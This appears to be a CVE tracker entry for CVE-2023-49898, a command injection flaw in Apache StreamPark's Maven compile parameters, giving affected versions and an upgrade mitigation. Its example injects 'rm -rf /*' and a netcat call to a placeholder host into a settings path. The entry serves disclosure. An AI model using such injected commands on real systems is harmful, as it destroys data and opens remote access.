cve/2023/CVE-2023-49898.md

### [CVE-2023-49898](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-49898)
![](https://img.shields.io/static/v1?label=Product&message=Apache%20StreamPark%20(incubating)&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=2.0.0%3C%202.1.2%20&color=brighgreen)
![](https://img.shields.io/static/v1?label=Vulnerability&message=CWE-77%20Improper%20Neutralization%20of%20Special%20Elements%20used%20in%20a%20Command%20('Command%20Injection')&color=brighgreen)

### Description

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.Mitigation:all users should upgrade to 2.1.2Example:##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&":/usr/share/java/maven-3/conf/settings.xml || rm -rf /*/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

### POC

#### Reference
No PoCs from references.

#### Github
- https://github.com/fkie-cad/nvd-json-data-feeds